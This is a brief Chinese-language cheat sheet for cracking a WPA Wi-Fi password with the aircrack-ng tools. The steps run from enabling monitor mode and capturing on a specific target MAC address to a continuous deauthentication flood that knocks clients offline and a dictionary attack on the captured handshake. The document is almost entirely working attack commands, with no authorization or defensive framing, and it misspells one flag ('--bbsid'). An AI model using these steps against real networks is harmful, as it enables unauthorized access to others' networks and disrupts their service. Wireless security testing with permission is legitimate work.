#启动监听模式
airmon-ng start wlan0
#扫描附近wifi
airodump-ng wlan0mon
#抓包
airodump-ng -c 11 --bbsid 2E:E9:D3:28:59:EB -w /home/ wlan0mon
-c代表频道, 后面带的是频道
bssid: mac地址(物理地址)
-w代表目录(抓到的握手包放在这个目录下面)
wlan0mon: 网卡名称
#洪水攻击路由器进行断网,使终端重连
aireplay-ng -0 0 -a 2E:E9:D3:28:59:EB wlan0mon
攻击中出现 wlan0 is on channel X1(不同信道) ,but the AP uses channel X2(不同信道) 的问题
通过 输入 airmon-ng start wlan0mon X2(信道号)解决
#右上角出现handshake信息说明抓包成功
#破解
aircrack-ng -w /home/wpa.txt(字典文件) /home/-01.cap(握手包)